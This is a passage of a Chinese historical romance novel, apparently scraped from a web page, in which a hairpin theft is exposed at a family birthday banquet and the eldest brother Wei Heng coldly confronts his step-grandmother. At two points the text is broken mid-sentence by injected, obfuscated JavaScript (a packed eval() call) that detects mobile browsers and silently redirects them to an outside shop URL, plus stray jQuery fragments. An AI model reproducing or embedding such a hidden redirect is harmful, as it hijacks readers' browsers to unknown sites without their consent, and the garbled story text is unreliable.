卫婴无可奈何地一笑,像是成人耐心哄骗斗气的孩童:“四妹妹真是一团孩子气,又不是别的东西,怎么能让来让去。” 张老夫人也道:“快别使性子了,一会儿又有宾客来,看着像什么样子。放心,有祖母替你做主,王家绝不敢欺侮你。” 不等卫珠张口,她便将脸一沉,向她身后婢女道:“你们是怎么伺候女郎的?还不带她去换身衣裳,将眼睛敷一敷!” 婢女们连哄带劝地将卫珠往外带,卫珠边走边抽噎:“谁都不帮我,连祖母都不帮我……” 张老夫人摇头:“这孩子……” 卫婴斟了一碗参茶端过去:“祖母润润嗓子,四妹妹只是一时气性上来,回去想想便会明白祖母的良苦用心。” “还是婴娘懂事。” 卫婴浅浅一笑,懂事又如何,卫珠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741190|208289||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 怎么闹都是她最疼爱的亲孙女,而她始终是与她毫无血脉关联的人。 疏不间亲,她才不会傻到去给张老夫人上眼药。 她有卫珩。 想到长兄,她的腰杆都不由挺直了几分。 旋即又觉自己好笑,卫珠不想嫁便敢在祖母面前闹,她敢么? 若是卫珩替她安排一门不称心的亲事,她敢说一个“不”字吗? 才哪儿到哪儿,就志满意得起来了。 长兄如今充其量是念在血脉亲情对她有几分眷顾,她要不断加重在卫珩心中的分量,将亲缘变成更实在的情分。 任重道远啊,任重道远。 …… 卫珠到底还有分寸,去更衣净面敷眼睛,收拾好了回到祖母身旁待客。 宾客们陆陆续续到来,卫婴在一旁凑趣寒暄,一边擦亮眼睛打量那些来拜寿的世家夫人,哪些看起来严苛,哪些又好相处——其中哪一个都有可能是她的婆母。 忙了半日,总算开宴了。 众人移步正堂,男女分席,依次入座。 宾主才拿起酒觞要举杯共饮,忽然听见外头传来骚动,隐约听见奴仆说话声:“里面老夫人正祝寿,都是女客,不能进去……” 众人都听到了动静,张老夫人勉强若无其事笑着饮了一口酒,放下酒杯,正要悄悄遣人去查问,来人竟已掀开帘子步入堂中。 那人身穿官服,向堂中扫了一眼,对着张老夫人一礼:“丹阳府法曹参军陶继之,拜见张老夫人,给张老夫人贺寿。” 张老夫人一听是丹阳府的人,脸色便是一沉,丹阳尹的父亲出身陆氏旁支庶族,与张老夫人兄长有夺妻之恨,还差点被打残了腿,后来因军功擢升,带着那一支飞黄腾达,其子陆修青出于蓝,竟坐到了丹阳尹这样的高位。 两家几乎成了世仇,好在卫家张家势大,也不惧一个丹阳尹。 只是好好的寿宴有人来搅和,实在败兴。 那么多下人守着门,是怎么叫这些官差一路长驱直入的?是谁将他们放进来的? 张老夫人强压着怒气,淡淡一哂:“老妇不记得曾下帖请阁下赴宴,不过来者是客,请饮一杯寿酒。” 说罢便要命奴仆引他去男宾席上。 陶继之一抬手:“在下此来不是为了饮酒,却是为了一桩案子。” 众宾客顿时都伸长了脖子,恨不得脑袋上长出八只耳朵。 张老夫人道:“老妇一个内宅妇人,镇日足不出户,不知什么案子,阁下可与犬子相商。” “此事却是不得不找贵府三房行四的女郎。” “珍珠儿?”张老夫人大惊,“有她何事?” 陶继之清了清嗓子,朗声道:“今有人检举芳乐馆娼妓秦氏私藏御物金簪一支,经审问业已如实交待,乃是贵府三房卫四公子所赠,令孙已承认是从其胞妹处窃得,在下特来将金簪物归原主。” 说罢,他从袖中取出一支辟兵金簪,淡定地望着满面通红的张老夫人:“敢问在座哪一位是卫四娘子?” 16.对峙 “哪位是卫四娘子?”法曹参军陶继之问道。 众人都看向卫珠。 卫珠羞愤欲绝,低垂着头,可还是能感到各种目光从四面八方利箭般射来,她依稀听见有人小声说:“她头上不是戴着簪么?那支是谁的?” 张老夫人吩咐小张氏:“你带四娘去外面偏厅,听参军问话。” 小张氏这会儿才从惊骇中回过神来,连忙起身:“四娘……” 卫珠如蒙大赦,便要起身,陶继之却说:“不必劳动张夫人与卫娘子,只是辨认赃物,在此地便可。” 说着大步走到卫珠跟前,将金簪递到她眼前:“请卫娘子仔细认一认,这支簪子可是你的?” 不等卫珠答复,他“噫”了一声,盯着卫珠发髻:“怎的卫娘子头上还有一支一样的簪子?” 卫珠脸涨得通红,几乎要哭出来了。 就在这时,堂中忽然响起个脆生生的童音:“四姊姊头上的簪子是三姊姊的,三叔母说络秀偷了四姊姊的簪子,打络秀,还要发卖络秀,三姊姊就将自己的簪子给了四姊姊。” 待她将这通话说完,一旁的卫玫方才捂妹妹的嘴:“嘘,参军问话,别插嘴。” 难为她一个六七岁的幼童,口齿清楚地说出这一长串话。 卫婴饶有兴味看着堂姊卫玫,卫琳只是个孩童,这番话当然是有人教她的。从青溪别墅回来之后二房的态度一直不咸不淡,今日大约是终于看清了风向,向她卖好呢。 众人听了卫琳的话都恍然大悟,目光在小张氏和卫婴之间来回逡巡。 小张氏涨红了脸,卫三娘却是微微蹙眉看着四堂妹,眼中满是关切和担忧。 “敢问小娘子,络秀是谁?”陶继之问。 卫玫代替妹妹回答:“是四堂妹房中婢女。” “原来如此,”陶继之看向小张氏,“盗窃御物非同小可,往后若再有这样的事,还请张夫人来官府报案,莫要诬陷好人,虽是家仆也不可动用私刑。” 堂中响起了窃窃私语。 小张氏又羞又窘,更多的是愤怒。 陶继之转向卫珠,悠悠道:“便请卫四娘子辨认赃物吧。” 嗡嗡的声音更响了。 卫珠终于忍耐不下去,“腾”地站起身,以袖掩面奔了出去。 小张氏也连忙起身跟了上去。 经此一事,张老夫人哪里还有祝寿的心思,从男宾席间匆匆赶来的几个儿子将陶继之这瘟神请走了,方才勉强撑起笑脸应付过场面。 好不容易将宾客送走,张老夫人当夜便觉胸闷气急,心口针扎似地一下一下疼,连夜请了御医来看诊,针灸药石一番折腾,到天明才厌厌地睡去。 昏昏沉沉不知睡了多久醒过来,模糊看见帐外站着一双人影,正头并着头说着什么,姿态甚是亲昵。男子芝兰玉树,俊秀英挺,不是继子卫逊又是谁?而他身旁那温婉柔媚、窈窕秀丽的女子赫然是…… 张老夫人霍然坐起身,用力掀开纱帐:“你们……你们两人……” 女子急忙过来搀扶她:“祖母,你怎么了?可是魇着了?” 张老夫人满头大汗,直勾勾地瞪着她,半晌方才回魂,仿佛才认出她来:“婴娘?” “是我,是阿婴,祖母不认得我了么?”卫婴连忙扶住祖母的手臂。 张老夫人眼珠缓缓转动,视线移到长孙脸上:“是你……” 卫珩上前一步:“祖母脸色不佳,可要请医官来?” 张老夫人缓缓吐出一口浊气,疲惫地摆摆手:“无碍,睡一觉便好,不必兴师动众,婴娘扶我躺下吧。” 卫婴担忧:“祖母切勿强撑,阿兄昨夜请御医宿在府中,随时都能来请脉的。” 张老夫人阖上眼睛,点点头:“累着你们了。” “祖母说的什么话,你别多想,只管好生养病。”卫婴轻声安慰,从婢女手中接过暖热的湿帕子,轻轻替她擦拭额头和鼻尖上的冷汗。 她心下十分诧异,张老夫人方才的模样也将她唬了一跳,不像魇住,更像是白日见了鬼,直勾勾地瞪着她和长兄,仿佛认不出他们似的。 是将他们错认成别人了? 是什么人叫她这么害怕? 正思忖着,长兄伸手拿过她手里的帕子:“阿婴守了大半夜,回去歇息吧,祖母这里有我。” “我不累,长兄也是一宿未眠。” 卫珩撩起眼皮,嗓音温柔却是不容置疑:“听话。” 卫婴其实已困得上下眼皮打架,便顺水推舟,向张老夫人说:“阿婴先告退,过会儿再来陪祖母。” 又向卫珩柔声说:“阿兄也小心身体。” 卫珩颔首:“快去吧。” 注视着妹妹的背影消失在帘外,又对着晃动的竹帘望了会儿,他方才收回视线,看向帐中祖母,只见张老夫人眼睛大睁,蹙着眉看着他。 卫珩慢条斯理地撩袍在床边坐下:“昨日寿宴草草结束,孙儿未及将寿礼献上,一会儿命人与祖母送来。” 张老夫人一哂,丝毫不掩饰声音里的尖刻:“昨日不是已经送了我一份大礼?真是我的好孙儿。” “祖母以为昨日的事是我所为?” “难道不是?家里这么多道门,这么多奴仆,若没有你授意,那衙役能闹到我筵席上来?” 卫珩并未否认,彼此心照不宣的事,没必要否认。 张老夫人盯着他的脸看了一会儿,疲惫地叹出一口气:“四郎回来不曾?” “昨夜问清因由已从丹阳府放出来了,祖母放心,四弟毫发无伤,只是闯了祸不敢回府,不知躲在何处。” “别忘了你终究是卫家人,”张老夫人喘了两口气,“得饶人处且饶人,莫要赶尽杀绝。” “谨遵祖母教诲。” 正说着,有婢女在帘外说:“老夫人,小郎君,药煎好了。” 卫珩:“送进来。” 婢女端了药进来,卫珩让她将药放在一旁,令她退下:“我来服侍祖母服药。” 说着搀扶张老夫人坐起身,在她身后垫了个隐囊,端起药碗,舀出一小勺尝了尝温凉,然后换了把汤匙喂张老夫人服药。 张老夫人冷笑:“活脱脱一个孝子贤孙。” 卫珩无动于衷,喂了几匙药:“孙儿还有一事要禀告祖母,请祖母定夺。” 顿了顿:“近来京中关于母亲的流言沸沸扬扬,孙儿叫人去查,查出是三叔母的陪嫁奴婢传到张家,再由张家传了出去,人我已命人扣下,祖母打算如何处置?” 张老夫人风闻流言时便隐约猜到是怎么回事。 小张氏眼热王家那门亲事,又因夫君仕途不顺迁怒长房,便行了此一箭双雕之计。 张老夫人心知肚明,也不揭穿她,只旁敲侧击让她小心行事,别叫人抓住了把柄。 没想到她这孙儿神通广大,轻易便查出了源头。 她当然不能承认自己知情,只说:“刁奴搬弄是非,既然查到了,要打要杀都是你一句话,何必来问我。” “此人毕竟是三叔母从张家带来的,孙儿不便处置,只有请祖母惩处。” 张老夫人:“毕竟是多年奴婢,没有功劳也有苦劳,纵然有错处,打十下笞杖赶出府去也就罢了。” 卫珩一笑:“祖母宅心仁厚。” 张老夫人一见他那淡淡的笑容就遍体生寒:“不够,那你说要怎么罚?二十杖?三十杖?” 卫珩仍不言语。 张老夫人慢慢加到了五十杖。 卫珩淡笑:“五十杖下去,人不死也废了,祖母仁慈,倒不如给她个痛快。” 张老夫人闭了闭眼,默念一句佛号:“知道了,八十杖,你去打杀了她吧!” 卫珩:“那便请祖母下令吧。” 张老夫人咬着牙笑:“好,好,老妇来做这恶人,全你卫家玉郎仁善的好名声!” 卫珩对她的怒意视而不见,微垂眼帘,端起药碗:“祖母趁热喝药吧。” 顿了顿:“三叔母驭下不严,德行有亏,不知祖母欲如何处置?” 张老夫人勃然大怒,一抬手掀翻了药碗,剩下小半碗药泼在卫珩身上,雪白衣袍顿时一片狼藉,瓷碗掉落在榻边,“哐啷”一声碎成两半。 帘外婢女小心翼翼询问,卫珩心平气和:“再去替老夫人煎一碗药来。” 他不以为意地取出帕子拭着泼到药汤的手背:“请祖母顾惜身体。” 张老夫人捂着心口直喘气:“卫珩,你眼里还有没有我这个祖母?当真一点不顾念血脉亲情吗?!” 卫珩掀起眼皮:“祖母可是忘了,孙儿与你并无血缘。” 这话像一支箭矢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745849|208289||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 射中了某个两人心照不宣的鹄的。 张老夫人脸色煞白,眼中的怒焰瞬间低了下去,变作惊惧。 良久,她无力地叹了口气,脸容憔悴,仿佛一下子老了十岁:“罢了,等珍珠儿出阁后,我便称病,让你三叔母去尼寺修行替我祈福,再也不叫她回府碍你的眼,如此可好?” 卫珩不置可否,只说:“经此一事,王家的亲事恐怕不了了之了。” 张老夫人一听这话便急了:“王家婚事是我们对不起婴娘,祖母在这里向你赔不是了,可珍珠儿也是你妹妹,同样与你血脉相连的,纵然远上一层,也不该这么厚此薄彼。只要你这阿兄肯帮她,不过是一句话的事,王家看你的份上不会揪着此事不放。” “的确只是一句话的事,”卫珩理了理衣袖,“但我不肯。别的堂妹父母双全,又有祖母替她们筹谋,不像阿婴孤苦无依,事事委曲求全却无人怜惜,好在还有我这亲兄长在,否则不知怎么受人践踏。” “你……”张老夫人一口气没顺过来,气得呛咳起来,“毁你四妹妹姻缘,难不成你想让婴娘嫁给王五郎?” 她之所以大胆纵容侄女抢夺这门亲事,也是料定了卫珩不赞成这门亲事。 “不想,”卫珩挑了挑唇角,“但她可以不要,别人不能从她手里抢。” 张老夫人欲言又止半晌,终于还是说:“你既那么疼她,那便早些替她寻一门好亲事吧。” “不劳祖母费心,”卫珩道,“阿婴的婚事我自有安排。” 张老夫人盯着他的脸看了许久,可就如看一口古井,没有丝毫波澜,也看不出任何端倪。 “她是你亲妹妹。” “她自然是我亲妹妹,”卫珩微微笑着,笑意却不达眼底,“祖母在害怕什么?” 话音未落,便听帘外一道娇声,如一泓甘甜的山泉,仿佛可以将人心中的烦躁涤净:“祖母醒了么?” 一边说一边撩帘走进来,手中还提着个食盒:“我炖了灵芝汤,给祖母与阿兄补身子。” 她的目光落在卫珩衣襟上的大片药渍上,面露诧异之色。 卫珩解释:“方才不慎打翻了药碗。” 又看了眼食盒:“祖母方服了药,眼下要睡了,补汤放凉了不宜饮用,我们先告退吧。” 说着扶张老夫人躺下,甚至替她细心拉好了衾被,按了按被角,温声道:“祖母安心养病,御医说此疾须少操心劳力。我与阿婴都盼着你长命百岁、颐养天年。” 他顺手接过了卫婴手里的食盒,带着她走出了齐安堂。 “叫你回去歇息,怎么又送汤来,”两人穿行在庭院中,卫珩偏过头看她,“眼下都有青影了。” “将汤炖下我便去睡了,一觉醒来汤正好炖好,便给你们送来,可惜不巧。”卫婴嘴上这么说,其实没有丝毫遗憾,她费这心思就是为了讨好长兄,张老夫人不过是个筏子。 出了祖母院子,卫珩带她到花园凉亭,将食盒里的灵芝汤取出来,第一碗先给她:“你自己也该补补气血。” 端起另一碗:“多谢妹妹。” “这茎紫芝还是去岁阿兄送我的,”卫婴一笑,“别人是借花献佛,我这是拔佛祖自己的莲花献佛了,阿兄别笑我就好。” 慢慢饮罢灵芝汤,卫珩放下碗:“上回阿婴不是说想去清谈雅集看看,下个月常山王在落星山的庄园里有一场雅集,阿婴可以同去。” 卫婴闻言喜不自胜,常山王府是建康城风雅渊薮,他办的清谈雅集久负盛名,最好的是赴会的不止有侨姓高门,还有吴姓氏族、宗室子弟,可以说把建康城的俊彦一网打尽。而她平日来往的除了张家是吴郡世族,其余多半是侨姓世族。 她不敢喜形于色,小心翼翼问:“赴会的都是男子,不知方不方便?” “无妨,”卫珩含笑看着她因兴奋而泛起薄红的脸颊,和越发明亮灵动的眼眸,“只是要委屈妹妹穿上男装,扮作我的亲随。不过做我的亲随,要学会骑马驾车才行。” 卫婴怔了怔,一般这种事不是该扮作族弟之类么?不过亲随也好,更不起眼,还能时时跟着长兄,更方便观察。 还能借此机会学会骑马驾车,若身份败露说不定还能卷些细软偷匹马逃走,总之有利无弊。 她只顾着高兴,没发现长兄唇角带笑,目光却一寸寸冷了下来。